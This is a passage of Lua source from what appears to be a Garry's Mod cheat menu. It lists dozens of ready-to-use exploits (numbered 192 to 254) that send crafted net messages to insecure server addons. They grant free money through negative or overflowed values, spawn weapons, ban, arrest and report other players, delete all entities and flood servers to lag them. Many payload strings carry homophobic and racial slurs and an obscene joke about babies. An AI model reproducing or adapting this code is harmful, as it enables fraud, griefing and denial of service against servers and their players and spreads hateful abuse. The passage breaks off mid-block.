4981 surface.PlaySound("garrysmod/ui_click.wav")
4982 ECNotify("Starting")
4983
4984 for k, v in pairs(player.GetAll()) do
4985 net.Start('bringNfreeze')
4986 net.WriteEntity(self)
4987 net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
4988 net.SendToServer()
4989 end
4990 end)
4991 end
4992
4993 status = ValidNetString("JoinFirstSS")
4994
4995 if (status) then
4996 ECPrint("Found Exploit: Join First SS [JoinFirstSS]")
4997
4998 addExploit("192", "Join First SS", "", function()
4999 surface.PlaySound("garrysmod/ui_click.wav")
5000 ECNotify("Starting")
5001 net.Start("JoinFirstSS")
5002 net.WriteEntity(LocalPlayer())
5003 net.SendToServer()
5004 end)
5005 end
5006
5007 status = ValidNetString("unarrestPerson")
5008
5009 if (status) then
5010 ECPrint("Found Exploit: Unarrest Person [unarrestPerson]")
5011
5012 addExploit("193", "Unarrest Person", "", function()
5013 surface.PlaySound("garrysmod/ui_click.wav")
5014 ECNotify("Starting")
5015
5016 for k, v in pairs(player.GetAll()) do
5017 net.Start("unarrestPerson")
5018 net.WriteEntity(v)
5019 net.SendToServer()
5020 end
5021 end)
5022 end
5023
5024 status = ValidNetString("giveArrestReason")
5025
5026 if (status) then
5027 ECPrint("Found Exploit: Give Arrest Reason [giveArrestReason]")
5028
5029 addExploit("194", "Give Arrest Reason", "", function()
5030 surface.PlaySound("garrysmod/ui_click.wav")
5031 ECNotify("Starting")
5032
5033 for k, v in pairs(player.GetAll()) do
5034 net.Start("giveArrestReason")
5035 net.WriteEntity(LocalPlayer())
5036 net.WriteEntity(v)
5037 net.WriteString("Faggot")
5038 net.SendToServer()
5039 end
5040 end)
5041 end
5042
5043 status = ValidNetString("sellitem")
5044
5045 if (status) then
5046 ECPrint("Found Exploit: Free Money #24 [sellitem]")
5047
5048 addExploit("195", "Free Money #24", "", function()
5049 surface.PlaySound("garrysmod/ui_click.wav")
5050 ECNotify("Starting")
5051 net.Start("sellitem")
5052 net.WriteString(self)
5053 net.WriteEntity(LocalPlayer())
5054 net.SendToServer()
5055 end)
5056 end
5057
5058 status = ValidNetString("createFaction")
5059
5060 if (status) then
5061 ECPrint("Found Exploit: Create Faction [createFaction]")
5062
5063 addExploit("196", "Create Faction", "", function()
5064 surface.PlaySound("garrysmod/ui_click.wav")
5065 ECNotify("Starting")
5066
5067 for k, v in pairs(player.GetAll()) do
5068 net.Start("createFaction")
5069 net.WriteEntity(v)
5070 net.WriteString("I FUCKED SO MANY BABIES TODAY WOOOOOOOOOOOOOOOOOOOOOOOO")
5071 net.SendToServer()
5072 end
5073 end)
5074 end
5075
5076 status = ValidNetString("inviteToOrganization")
5077
5078 if (status) then
5079 ECPrint("Found Exploit: Faction Invite All [inviteToOrganization]")
5080
5081 addExploit("197", "Faction Invite All", "", function()
5082 surface.PlaySound("garrysmod/ui_click.wav")
5083 ECNotify("Starting")
5084
5085 for k, v in pairs(player.GetAll()) do
5086 net.Start("inviteToOrganization")
5087 net.WriteEntity(v)
5088 net.WriteEntity(LocalPlayer())
5089 net.SendToServer()
5090 end
5091 end)
5092 end
5093
5094 status = ValidNetString("GovStation_SpawnVehicle")
5095
5096 if (status) then
5097 ECPrint("Found Exploit: Gov Spawn [GovStation_SpawnVehicle]")
5098
5099 addExploit("198", "Gov Spawn", "", function()
5100 surface.PlaySound("garrysmod/ui_click.wav")
5101 ECNotify("Starting")
5102
5103 for k, v in pairs(ents.GetAll()) do
5104 net.Start("GovStation_SpawnVehicle")
5105 net.WriteString("GOV_POLICE")
5106 net.SendToServer()
5107 end
5108 end)
5109 end
5110
5111 status = ValidNetString("GiveWeapon")
5112
5113 if (status) then
5114 ECPrint("Found Exploit: Give Weapons #3 [GiveWeapon]")
5115
5116 addExploit("199", "Give Weapons #3", "get weapons", function()
5117 surface.PlaySound("garrysmod/ui_click.wav")
5118 ECNotify("Starting")
5119 net.Start("GiveWeapon")
5120 net.WriteEntity(LocalPlayer())
5121 net.WriteString("m9k_davy_crockett")
5122 net.WriteFloat(0)
5123 net.SendToServer()
5124 end)
5125 end
5126
5127 status = ValidNetString("DailyLoginClaim")
5128
5129 if (status) then
5130 ECPrint("Found Exploit: Daily Login Reward [DailyLoginClaim]")
5131
5132 addExploit("200", "Daily Login Reward", "", function()
5133 surface.PlaySound("garrysmod/ui_click.wav")
5134 ECNotify("Starting")
5135 net.Start("DailyLoginClaim")
5136 net.SendToServer()
5137 end)
5138 end
5139
5140 status = ValidNetString("DL_AskLogsList")
5141
5142 if (status) then
5143 ECPrint("Found Exploit: Ask Log List [DL_AskLogsList]")
5144
5145 addExploit("201", "Ask Log List", "", function()
5146 surface.PlaySound("garrysmod/ui_click.wav")
5147 ECNotify("Starting")
5148 net.Start("DL_AskLogsList")
5149 net.SendToServer()
5150 end)
5151 end
5152
5153 status = ValidNetString("DL_StartReport")
5154
5155 if (status) then
5156 ECPrint("Found Exploit: DL Report All [DL_StartReport | DL_ReportPlayer]")
5157
5158 addExploit("202", "DL Report All", "", function()
5159 surface.PlaySound("garrysmod/ui_click.wav")
5160 ECNotify("Starting")
5161
5162 for k, v in pairs(player.GetAll()) do
5163 net.Start("DL_StartReport")
5164 net.SendToServer()
5165 net.Start("DL_ReportPlayer")
5166 net.WriteEntity(v)
5167 net.WriteString("Hes being a gay faggot plz ban him")
5168 net.SendToServer()
5169 end
5170 end)
5171 end
5172
5173 status = ValidNetString("sv_saveweapons")
5174
5175 if (status) then
5176 ECPrint("Found Exploit: TTT Weapons Exploit [sv_saveweapons]")
5177
5178 addExploit("203", "DL Report All", "", function()
5179 surface.PlaySound("garrysmod/ui_click.wav")
5180 ECNotify("Starting")
5181 net.Start("sv_saveweapons")
5182 net.WriteString("weapon_ttt_rpg")
5183 net.WriteString("weapon_ttt_rpg")
5184 net.WriteString("eg")
5185 net.SendToServer()
5186 end)
5187 end
5188
5189 status = ValidNetString("SpecDM_SendLoadout")
5190
5191 if (status) then
5192 ECPrint("Found Exploit: SpecDM Exploit [SpecDM_SendLoadout]")
5193
5194 addExploit("204", "SpecDM Exploit", "", function()
5195 surface.PlaySound("garrysmod/ui_click.wav")
5196 ECNotify("Starting")
5197 net.Start("SpecDM_SendLoadout")
5198 net.WriteString("eg")
5199 net.WriteString("weapon_ttt_defib")
5200 net.SendToServer()
5201 end)
5202 end
5203
5204 status = ValidNetString("PowerRoundsForcePR")
5205
5206 if (status) then
5207 ECPrint("Found Exploit: Power Rounds Force [PowerRoundsForcePR]")
5208
5209 addExploit("205", "Power Rounds Force", "", function()
5210 surface.PlaySound("garrysmod/ui_click.wav")
5211 ECNotify("Starting")
5212 net.Start("PowerRoundsForcePR")
5213 net.SendToServer()
5214 end)
5215 end
5216
5217 status = ValidNetString("wyozimc_playply")
5218
5219 if (status) then
5220 ECPrint("Found Exploit: Wyozimc Music Exploit [wyozimc_playply]")
5221
5222 addExploit("206", "Wyozimc Music Exploit", "", function()
5223 surface.PlaySound("garrysmod/ui_click.wav")
5224 ECNotify("Starting")
5225
5226 for k, v in pairs(player.GetAll()) do
5227 net.Start("wyozimc_playply")
5228 net.WriteEntity(v)
5229 net.WriteString("https://www.youtube.com/watch?v=2fSeiKs6MYY")
5230 net.SendToServer()
5231 end
5232 end)
5233 end
5234
5235 status = ValidNetString("SendSteamID")
5236
5237 if (status) then
5238 ECPrint("Found Exploit: Send Mail's [SendSteamID]")
5239
5240 addExploit("207", "Send Mail's", "", function()
5241 surface.PlaySound("garrysmod/ui_click.wav")
5242 ECNotify("Starting")
5243
5244 for k, v in pairs(player.GetAll()) do
5245 net.Start("SendSteamID")
5246 net.WriteEntity(v)
5247 net.WriteString("Faggot")
5248 net.WriteString("Faggot")
5249 net.SendToServer()
5250 end
5251 end)
5252 end
5253
5254 status = ValidNetString("JB_GiveCubics")
5255
5256 if (status) then
5257 ECPrint("Found Exploit: Give Cubics All [JB_GiveCubics]")
5258
5259 addExploit("208", "Give Cubics All", "", function()
5260 surface.PlaySound("garrysmod/ui_click.wav")
5261 ECNotify("Starting")
5262
5263 for k, v in pairs(player.GetAll()) do
5264 net.Start("JB_GiveCubics")
5265 net.WriteEntity(v)
5266 net.WriteInt(math.floor(dwang:GetValue()), 255)
5267 net.SendToServer()
5268 end
5269 end)
5270 end
5271
5272 status = ValidNetString("JB_SelectWarden")
5273
5274 if (status) then
5275 ECPrint("Found Exploit: Select Warden All [JB_SelectWarden]")
5276
5277 addExploit("209", "Select Warden All", "", function()
5278 surface.PlaySound("garrysmod/ui_click.wav")
5279 ECNotify("Starting")
5280
5281 for k, v in pairs(player.GetAll()) do
5282 net.Start("JB_SelectWarden")
5283 net.WriteEntity(v)
5284 net.SendToServer()
5285 end
5286 end)
5287 end
5288
5289 status = ValidNetString("RDMReason_Explain")
5290
5291 if (status) then
5292 ECPrint("Found Exploit: RDM Explain [RDMReason_Explain]")
5293
5294 addExploit("210", "RDM Explain", "", function()
5295 surface.PlaySound("garrysmod/ui_click.wav")
5296 ECNotify("Starting")
5297
5298 for k, v in pairs(player.GetAll()) do
5299 net.Start("RDMReason_Explain")
5300
5301 net.WriteTable({
5302 id = v,
5303 reason = fgt
5304 })
5305
5306 net.SendToServer()
5307 end
5308 end)
5309 end
5310
5311 status = ValidNetString("redirectMsg")
5312
5313 if (status) then
5314 ECPrint("Found Exploit: Redirect Message [redirectMsg]")
5315
5316 addExploit("211", "Redirect Message", "", function()
5317 surface.PlaySound("garrysmod/ui_click.wav")
5318 ECNotify("Starting")
5319 net.Start("redirectMsg")
5320 net.WriteString("Fuck you! YOUR ALL FAGGOTS!")
5321 net.SendToServer()
5322 end)
5323 end
5324
5325 status = ValidNetString("LB_AddBan")
5326
5327 if (status) then
5328 ECPrint("Found Exploit: LB Ban [LB_AddBan]")
5329
5330 addExploit("212", "LB Ban", "", function()
5331 surface.PlaySound("garrysmod/ui_click.wav")
5332 ECNotify("Starting")
5333
5334 for k, v in pairs(player.GetAll()) do
5335 if v ~= LocalPlayer() then
5336 net.Start("LB_AddBan")
5337 net.WriteString("STEAM_0:0:71238382")
5338 net.WriteString("fgt")
5339 net.SendToServer()
5340 end
5341 end
5342 end)
5343 end
5344
5345 status = ValidNetString("GET_Admin_MSGS")
5346
5347 if (status) then
5348 ECPrint("Found Exploit: Brass Admin Chat [GET_Admin_MSGS | OPEN_ADMIN_CHAT]")
5349
5350 addExploit("213", "Brass Admin Chat", "", function()
5351 surface.PlaySound("garrysmod/ui_click.wav")
5352 ECNotify("Starting")
5353 net.Start("GET_Admin_MSGS")
5354 net.SendToServer()
5355 net.Start("OPEN_ADMIN_CHAT")
5356 net.SendToServer()
5357 end)
5358 end
5359
5360 status = ValidNetString("br_send_pm")
5361
5362 if (status) then
5363 ECPrint("Found Exploit: Brass Email Send All [br_send_pm]")
5364
5365 addExploit("214", "Brass Email Send All", "", function()
5366 surface.PlaySound("garrysmod/ui_click.wav")
5367 ECNotify("Starting")
5368
5369 for k, v in pairs(player.GetAll()) do
5370 if v ~= LocalPlayer() then
5371 net.Start("br_send_pm")
5372 net.WriteString(v)
5373 net.WriteString("FGT")
5374 net.WriteEntity(v)
5375 net.SendToServer()
5376 end
5377 end
5378 end)
5379 end
5380
5381 status = ValidNetString("LAWYER.BailFelonOut")
5382
5383 if (status) then
5384 ECPrint("Found Exploit: Bail Felon Out [LAWYER.BailFelonOut]")
5385
5386 addExploit("215", "Bail Felon Out", "", function()
5387 surface.PlaySound("garrysmod/ui_click.wav")
5388 ECNotify("Starting")
5389 net.Start("LAWYER.BailFelonOut")
5390 net.WriteString("1")
5391 net.WriteString("fgt")
5392 net.SendToServer()
5393 end)
5394 end
5395
5396 status = ValidNetString("LAWYER.GetBailOut")
5397
5398 if (status) then
5399 ECPrint("Found Exploit: Get Bail Out [LAWYER.GetBailOut]")
5400
5401 addExploit("216", "Get Bail Out", "", function()
5402 surface.PlaySound("garrysmod/ui_click.wav")
5403 ECNotify("Starting")
5404 net.Start("LAWYER.GetBailOut")
5405 net.WriteString("Mick")
5406 net.WriteString("Mick")
5407 net.WriteString("1000000")
5408 net.SendToServer()
5409 end)
5410 end
5411
5412 status = ValidNetString("GrabMoney")
5413
5414 if (status) then
5415 ECPrint("Found Exploit: Get Bail Out [GrabMoney]")
5416
5417 addExploit("217", "Get Bail Out", "", function()
5418 surface.PlaySound("garrysmod/ui_click.wav")
5419 ECNotify("Starting")
5420
5421 for k, v in pairs(ents.GetAll()) do
5422 if v:GetClass() == "gold" then
5423 if v:GetClass() == "silver" then
5424 if v:GetClass() == "vip" then
5425 if v:GetClass() == "vipgold" then
5426 net.Start("GrabMoney")
5427 net.WriteEntity(LocalPlayer())
5428 net.SendToServer()
5429 end
5430 end
5431 end
5432 end
5433 end
5434 end)
5435 end
5436
5437 status = ValidNetString("nox_addpremadepunishment")
5438
5439 if (status) then
5440 ECPrint("Found Exploit: Nox Ban [nox_addpremadepunishment]")
5441
5442 addExploit("218", "Nox Ban", "", function()
5443 surface.PlaySound("garrysmod/ui_click.wav")
5444 ECNotify("Starting")
5445
5446 for k, v in pairs(player.GetAll()) do
5447 if v ~= LocalPlayer() then
5448 net.Start("nox_addpremadepunishment")
5449 net.WriteEntity("Sun")
5450 net.WriteUInt(2, 8)
5451 net.SendToServer()
5452 end
5453 end
5454 end)
5455 end
5456
5457 status = ValidNetString("NET_CR_TakeStoredMoney")
5458
5459 if (status) then
5460 ECPrint("Found Exploit: Steal Registry Money [NET_CR_TakeStoredMoney]")
5461
5462 addExploit("219", "Steal Registry Money", "", function()
5463 surface.PlaySound("garrysmod/ui_click.wav")
5464 ECNotify("Starting")
5465
5466 for k, v in pairs(ents.GetAll()) do
5467 if v:GetClass() == "ss_cash_registry" then
5468 net.Start('NET_CR_TakeStoredMoney')
5469 net.WriteEntity("ss_cash_registry")
5470 net.WriteEntity(LocalPlayer())
5471 net.SendToServer()
5472 end
5473 end
5474 end)
5475 end
5476
5477 status = ValidNetString("HV_AmmoBuy")
5478
5479 if (status) then
5480 ECPrint("Found Exploit: HV Free Ammo [HV_AmmoBuy]")
5481
5482 addExploit("220", "HV Free Ammo", "", function()
5483 surface.PlaySound("garrysmod/ui_click.wav")
5484 ECNotify("Starting")
5485 net.Start("HV_AmmoBuy")
5486 net.WriteFloat("2")
5487 net.SendToServer()
5488 net.Start("HV_AmmoBuy")
5489 net.WriteFloat("1")
5490 net.SendToServer()
5491 end)
5492 end
5493
5494 status = ValidNetString("hitcomplete")
5495
5496 if (status) then
5497 ECPrint("Found Exploit: Super RP Hit [hitcomplete]")
5498
5499 addExploit("221", "Super RP Hit", "", function()
5500 surface.PlaySound("garrysmod/ui_click.wav")
5501 ECNotify("Starting")
5502
5503 for k, v in pairs(player.GetAll()) do
5504 if v ~= LocalPlayer() then
5505 net.Start("hitcomplete")
5506 net.WriteEntity(v)
5507 net.SendToServer()
5508 end
5509 end
5510 end)
5511 end
5512
5513 status = ValidNetString("SyncRemoveAction")
5514
5515 if (status) then
5516 ECPrint("Found Exploit: Remove All [SyncRemoveAction]")
5517
5518 addExploit("222", "Remove All", "", function()
5519 surface.PlaySound("garrysmod/ui_click.wav")
5520 ECNotify("Starting")
5521
5522 for k, v in pairs(ents.GetAll()) do
5523 net.Start("SyncRemoveAction")
5524 net.WriteEntity(v)
5525 net.SendToServer()
5526 end
5527 end)
5528 end
5529
5530 status = ValidNetString("TMC_NET_MakePlayerWanted")
5531
5532 if (status) then
5533 ECPrint("Found Exploit: Make All Wanted [TMC_NET_MakePlayerWanted]")
5534
5535 addExploit("223", "Make All Wanted", "", function()
5536 surface.PlaySound("garrysmod/ui_click.wav")
5537 ECNotify("Starting")
5538
5539 for k, v in pairs(player.GetAll()) do
5540 net.Start("TMC_NET_MakePlayerWanted")
5541 net.WriteString("bad")
5542 net.WriteString("bad")
5543 net.SendToServer()
5544 end
5545 end)
5546 end
5547
5548 status = ValidNetString("thiefnpc")
5549
5550 if (status) then
5551 ECPrint("Found Exploit: Thief NPC [thiefnpc]")
5552
5553 addExploit("224", "Thief NPC", "", function()
5554 surface.PlaySound("garrysmod/ui_click.wav")
5555 ECNotify("Starting")
5556 net.Start('thiefnpc')
5557 net.WriteDouble(-99999999999999999)
5558 net.SendToServer()
5559 end)
5560 end
5561
5562 status = ValidNetString("TMC_NET_FirePlayer")
5563
5564 if (status) then
5565 ECPrint("Found Exploit: Fire Player [TMC_NET_FirePlayer]")
5566
5567 addExploit("225", "Fire Player", "", function()
5568 surface.PlaySound("garrysmod/ui_click.wav")
5569 ECNotify("Starting")
5570 net.Start("TMC_NET_FirePlayer")
5571 net.WriteString("Paypal")
5572 net.SendToServer()
5573 end)
5574 end
5575
5576 status = ValidNetString("updateLaws")
5577
5578 if (status) then
5579 ECPrint("Found Exploit: Update Laws [updateLaws]")
5580
5581 addExploit("226", "Update Laws", "", function()
5582 surface.PlaySound("garrysmod/ui_click.wav")
5583 ECNotify("Starting")
5584 net.Start("updateLaws")
5585 net.WriteString("Bitch")
5586 net.SendToServer()
5587 end)
5588 end
5589
5590 status = ValidNetString("LotteryMenu")
5591
5592 if (status) then
5593 ECPrint("Found Exploit: Free Money #25 [LotteryMenu]")
5594
5595 addExploit("227", "Free Money #25", "", function()
5596 surface.PlaySound("garrysmod/ui_click.wav")
5597 ECNotify("Starting")
5598 net.Start("LotteryMenu")
5599 net.WriteEntity(LocalPlayer())
5600 net.WriteInt(1000000000000000000, 16)
5601 net.SendToServer()
5602 end)
5603 end
5604
5605 status = ValidNetString("soundArrestCommit")
5606
5607 if (status) then
5608 ECPrint("Found Exploit: Sound Arrest [soundArrestCommit]")
5609
5610 addExploit("228", "Sound Arrest", "", function()
5611 surface.PlaySound("garrysmod/ui_click.wav")
5612 ECNotify("Starting")
5613 net.Start("soundArrestCommit")
5614 net.WriteString("Shit")
5615 net.SendToServer()
5616 end)
5617 end
5618
5619 status = ValidNetString("hoverboardpurchase")
5620
5621 if (status) then
5622 ECPrint("Found Exploit: Hover Board [hoverboardpurchase]")
5623
5624 addExploit("229", "Hover Board", "", function()
5625 surface.PlaySound("garrysmod/ui_click.wav")
5626 ECNotify("Starting")
5627 net.Start("hoverboardpurchase")
5628 net.WriteInt(8, 32)
5629 net.SendToServer()
5630 end)
5631 end
5632
5633 status = ValidNetString("SpawnProtection")
5634
5635 if (status) then
5636 ECPrint("Found Exploit: Off Spawn Protection [SpawnProtection]")
5637
5638 addExploit("230", "Off Spawn Protection", "", function()
5639 surface.PlaySound("garrysmod/ui_click.wav")
5640 ECNotify("Starting")
5641 net.Start("SpawnProtection")
5642 net.WriteFloat(0)
5643 net.SendToServer()
5644 end)
5645 end
5646
5647 status = ValidNetString("NPCShop_BuyItem")
5648
5649 if (status) then
5650 ECPrint("Found Exploit: NPC Shop [NPCShop_BuyItem]")
5651
5652 addExploit("231", "NPC Shop", "", function()
5653 surface.PlaySound("garrysmod/ui_click.wav")
5654 ECNotify("Starting")
5655 net.Start("NPCShop_BuyItem")
5656 net.WriteString("weapon_hack_phone")
5657 net.SendToServer()
5658 end)
5659 end
5660
5661 status = ValidNetString("CubeRiot CaptureZone Update")
5662
5663 if (status) then
5664 ECPrint("Found Exploit: CubeRiot Exploit [CubeRiot CaptureZone Update]")
5665
5666 addExploit("232", "CubeRiot Exploit", "", function()
5667 surface.PlaySound("garrysmod/ui_click.wav")
5668 ECNotify("Starting")
5669 net.Start("CubeRiot CaptureZone Update")
5670 net.WriteUInt(1, 8)
5671 net.WriteVector("2654.989258 2254.119629 -139.968750")
5672 net.WriteVector("2654.989258 2254.119629 -139.968750")
5673 net.SendToServer()
5674 end)
5675 end
5676
5677 status = ValidNetString("deposit")
5678
5679 if (status) then
5680 ECPrint("Found Exploit: Free Money #26 [deposit]")
5681
5682 addExploit("233", "Free Money #26", "", function()
5683 surface.PlaySound("garrysmod/ui_click.wav")
5684 ECNotify("Starting")
5685 net.Start("deposit")
5686 net.WriteString("-10000000000000000000000")
5687 net.SendToServer()
5688 end)
5689 end
5690
5691 status = ValidNetString("AcceptRequest")
5692
5693 if (status) then
5694 ECPrint("Found Exploit: Call Exploit [AcceptRequest]")
5695
5696 addExploit("234", "Call Exploit", "", function()
5697 surface.PlaySound("garrysmod/ui_click.wav")
5698 ECNotify("Starting")
5699
5700 for k, v in pairs(player.GetAll()) do
5701 net.Start("AcceptRequest")
5702 net.WriteEntity(v)
5703 net.SendToServer()
5704 end
5705 end)
5706 end
5707
5708 status = ValidNetString("Chess ClientWager")
5709
5710 if (status) then
5711 ECPrint("Found Exploit: Chess Exploit [Chess ClientWager | Chess ClientResign]")
5712
5713 addExploit("235", "Chess Exploit", "", function()
5714 surface.PlaySound("garrysmod/ui_click.wav")
5715 ECNotify("Starting")
5716 net.Start("Chess ClientWager")
5717 net.WriteUInt(-999999999999999999999999999, 24)
5718 net.SendToServer()
5719 net.Start("Chess ClientResign")
5720 net.SendToServer()
5721 end)
5722 end
5723
5724 status = ValidNetString("netOrgVoteInvite_Server")
5725
5726 if (status) then
5727 ECPrint("Found Exploit: Org Invite All [netOrgVoteInvite_Server]")
5728
5729 addExploit("236", "Org Invite All", "", function()
5730 surface.PlaySound("garrysmod/ui_click.wav")
5731 ECNotify("Starting")
5732
5733 for k, v in pairs(player.GetAll()) do
5734 net.Start("netOrgVoteInvite_Server")
5735 net.WriteEntity(v)
5736 net.SendToServer()
5737 end
5738 end)
5739 end
5740
5741 status = ValidNetString("donatorshop_itemtobuy")
5742
5743 if (status) then
5744 ECPrint("Found Exploit: Donator Box Exploit [donatorshop_itemtobuy]")
5745
5746 addExploit("237", "Donator Box Exploit", "", function()
5747 surface.PlaySound("garrysmod/ui_click.wav")
5748 ECNotify("Starting")
5749 net.Start("donatorshop_itemtobuy")
5750 net.WriteString("DonatorShopBuyTripwire")
5751 net.SendToServer()
5752 end)
5753 end
5754
5755 status = ValidNetString("AskPickupItemInv")
5756
5757 if (status) then
5758 ECPrint("Found Exploit: Ask Item [AskPickupItemInv]")
5759
5760 addExploit("238", "Ask Item", "", function()
5761 surface.PlaySound("garrysmod/ui_click.wav")
5762 ECNotify("Starting")
5763
5764 for k, v in pairs(player.GetAll()) do
5765 net.Start("AskPickupItemInv")
5766 net.WriteUInt(4, 16)
5767 net.WriteUInt(1, 16)
5768 net.SendToServer()
5769 end
5770 end)
5771 end
5772
5773 status = ValidNetString("buy_bundle")
5774
5775 if (status) then
5776 ECPrint("Found Exploit: Buy Bundle [buy_bundle]")
5777
5778 addExploit("239", "Buy Bundle", "", function()
5779 surface.PlaySound("garrysmod/ui_click.wav")
5780 ECNotify("Starting")
5781 net.Start("buy_bundle")
5782 net.WriteFloat(1, 16)
5783 net.SendToServer()
5784 end)
5785 end
5786
5787 status = ValidNetString("LawyerOfferBail")
5788
5789 if (status) then
5790 ECPrint("Found Exploit: Lawyer Off Bail [LawyerOfferBail | AcceptBailOffer]")
5791
5792 addExploit("240", "Lawyer Off Bail", "", function()
5793 surface.PlaySound("garrysmod/ui_click.wav")
5794 ECNotify("Starting")
5795
5796 for k, v in pairs(player.GetAll()) do
5797 net.Start("LawyerOfferBail")
5798 net.WriteEntity(v)
5799 net.WriteUInt(-100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000, 16)
5800 net.SendToServer()
5801 net.Start("AcceptBailOffer")
5802 net.WriteEntity(v)
5803 net.WriteUInt(-10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000, 16)
5804 net.SendToServer()
5805 end
5806 end)
5807 end
5808
5809 status = ValidNetString("MineServer")
5810
5811 if (status) then
5812 ECPrint("Found Exploit: Lagger #22 [MineServer]")
5813
5814 addExploit("241", "Lagger #22", "lags", function()
5815 surface.PlaySound("garrysmod/ui_click.wav")
5816 ECNotify("Starting")
5817
5818 for i = 0, 100 do
5819 for k, v in pairs(player.GetAll()) do
5820 net.Start("MineServer", true)
5821 net.WriteString("sell")
5822 net.WriteEntity(v)
5823 net.WriteString("Fuck you. Gonna ddos this shitty ass server niggers")
5824 net.SendToServer()
5825 end
5826 end
5827 end)
5828 end
5829
5830 status = ValidNetString("Gb_gasstation_BuyGas")
5831
5832 if (status) then
5833 ECPrint("Found Exploit: Ukrainian gas [Gb_gasstation_BuyGas | Gb_gasstation_BuyJerrycan]")
5834
5835 addExploit("242", "Ukrainian gas", "", function()
5836 surface.PlaySound("garrysmod/ui_click.wav")
5837 ECNotify("Starting")
5838 net.Start("Gb_gasstation_BuyGas")
5839 net.SendToServer()
5840 net.Start("Gb_gasstation_BuyJerrycan")
5841 net.SendToServer()
5842 end)
5843 end
5844
5845 status = ValidNetString("D3A_CreateOrg")
5846
5847 if (status) then
5848 ECPrint("Found Exploit: D3A Create Org [D3A_CreateOrg]")
5849
5850 addExploit("243", "D3A Create Org", "", function()
5851 surface.PlaySound("garrysmod/ui_click.wav")
5852 ECNotify("Starting")
5853 net.Start("D3A_CreateOrg")
5854 net.WriteString('969690485273489312467812367128312312314')
5855 net.WriteString('123712983712984571298712398')
5856 net.WriteString("255 255 255")
5857 net.SendToServer()
5858 end)
5859 end
5860
5861 status = ValidNetString("Shop_buy")
5862
5863 if (status) then
5864 ECPrint("Found Exploit: SUP Buy Armor [Shop_buy]")
5865
5866 addExploit("244", "SUP Buy Armor", "", function()
5867 surface.PlaySound("garrysmod/ui_click.wav")
5868 ECNotify("Starting")
5869 net.Start("Shop_buy")
5870 net.WriteString("Armor")
5871 net.SendToServer()
5872 end)
5873 end
5874
5875 status = ValidNetString("LawsToServer")
5876
5877 if (status) then
5878 ECPrint("Found Exploit: SUP New Laws [LawsToServer]")
5879
5880 addExploit("245", "SUP New Laws", "", function()
5881 surface.PlaySound("garrysmod/ui_click.wav")
5882 ECNotify("Starting")
5883 net.Start("LawsToServer")
5884 net.WriteString("FAGGOTS")
5885 net.SendToServer()
5886 end)
5887 end
5888
5889 status = ValidNetString("D3A_Message")
5890
5891 if (status) then
5892 ECPrint("Found Exploit: D3A Message [D3A_Message]")
5893
5894 addExploit("246", "D3A Message", "", function()
5895 surface.PlaySound("garrysmod/ui_click.wav")
5896 ECNotify("Starting")
5897 local stuff = {}
5898 net.Start("D3A_Message")
5899 net.WriteString("FAGGOTS")
5900 net.WriteTable(stuff)
5901 net.SendToServer()
5902 end)
5903 end
5904
5905 status = ValidNetString("misswd_accept")
5906
5907 if (status) then
5908 ECPrint("Found Exploit: Misswd Accept [misswd_accept]")
5909
5910 addExploit("247", "Misswd Accept", "", function()
5911 surface.PlaySound("garrysmod/ui_click.wav")
5912 ECNotify("Starting")
5913
5914 for k, v in pairs(player.GetAll()) do
5915 for i = 0, 100 do
5916 net.Start("misswd_accept")
5917 net.WriteEntity(v)
5918 net.SendToServer()
5919 end
5920 end
5921 end)
5922 end
5923
5924 status = ValidNetString("ScannerMenu")
5925
5926 if (status) then
5927 ECPrint("Found Exploit: Scanner Exploit [ScannerMenu]")
5928
5929 addExploit("248", "Scanner Exploit", "", function()
5930 surface.PlaySound("garrysmod/ui_click.wav")
5931 ECNotify("Starting")
5932
5933 for k, v in pairs(player.GetAll()) do
5934 net.Start("ScannerMenu")
5935 net.WriteEntity(v)
5936 net.WriteFloat(1)
5937 net.WriteFloat(1)
5938 net.SendToServer()
5939 end
5940 end)
5941 end
5942
5943 status = ValidNetString("ORG_NewOrg")
5944
5945 if (status) then
5946 ECPrint("Found Exploit: New ORG [ORG_NewOrg]")
5947
5948 addExploit("249", "New ORG", "", function()
5949 surface.PlaySound("garrysmod/ui_click.wav")
5950 ECNotify("Starting")
5951 net.Start("ORG_NewOrg")
5952 net.WriteString("I FUCKING HATE YOU!")
5953 net.SendToServer()
5954 end)
5955 end
5956
5957 status = ValidNetString("ORG_VaultDonate")
5958
5959 if (status) then
5960 ECPrint("Found Exploit: Free Money #27 [ORG_VaultDonate]")
5961
5962 addExploit("250", "Free Money #27", "", function()
5963 surface.PlaySound("garrysmod/ui_click.wav")
5964 ECNotify("Starting")
5965 net.Start("ORG_VaultDonate")
5966 net.WriteFloat(-1000000000000000000000000000000000000000000000000000000)
5967 net.SendToServer()
5968 end)
5969 end
5970
5971 status = ValidNetString("Selldatride")
5972
5973 if (status) then
5974 ECPrint("Found Exploit: Sell Datride [Selldatride]")
5975
5976 addExploit("251", "Sell Datride", "", function()
5977 surface.PlaySound("garrysmod/ui_click.wav")
5978 ECNotify("Starting")
5979
5980 for k, v in pairs(player.GetAll()) do
5981 net.Start("Selldatride")
5982 net.WriteEntity(v)
5983 net.SendToServer()
5984 end
5985 end)
5986 end
5987
5988 status = ValidNetString("passmayorexam")
5989
5990 if (status) then
5991 ECPrint("Found Exploit: Passexam Exploit [passmayorexam]")
5992
5993 addExploit("252", "Passexam Exploit", "", function()
5994 surface.PlaySound("garrysmod/ui_click.wav")
5995 ECNotify("Starting")
5996 net.Start("passmayorexam")
5997 net.SendToServer()
5998 end)
5999 end
6000
6001 status = ValidNetString("levelup_useperk")
6002
6003 if (status) then
6004 ECPrint("Found Exploit: LevelUp Exploit [levelup_useperk]")
6005
6006 addExploit("253", "LevelUp Exploit", "", function()
6007 surface.PlaySound("garrysmod/ui_click.wav")
6008 ECNotify("Starting")
6009 net.Start("levelup_useperk")
6010 net.WriteInt(1, 8)
6011 net.WriteInt(2, 8)
6012 net.WriteInt(3, 8)
6013 net.WriteInt(4, 8)
6014 net.SendToServer()
6015 end)
6016 end
6017
6018 status = ValidNetString("ZED_SpawnCar")
6019
6020 if (status) then
6021 ECPrint("Found Exploit: ZED Spawn Car [ZED_SpawnCar]")
6022
6023 addExploit("254", "ZED Spawn Car", "", function()
6024 surface.PlaySound("garrysmod/ui_click.wav")
6025 ECNotify("Starting")
6026 net.Start("ZED_SpawnCar")
6027 net.WriteFloat(1)
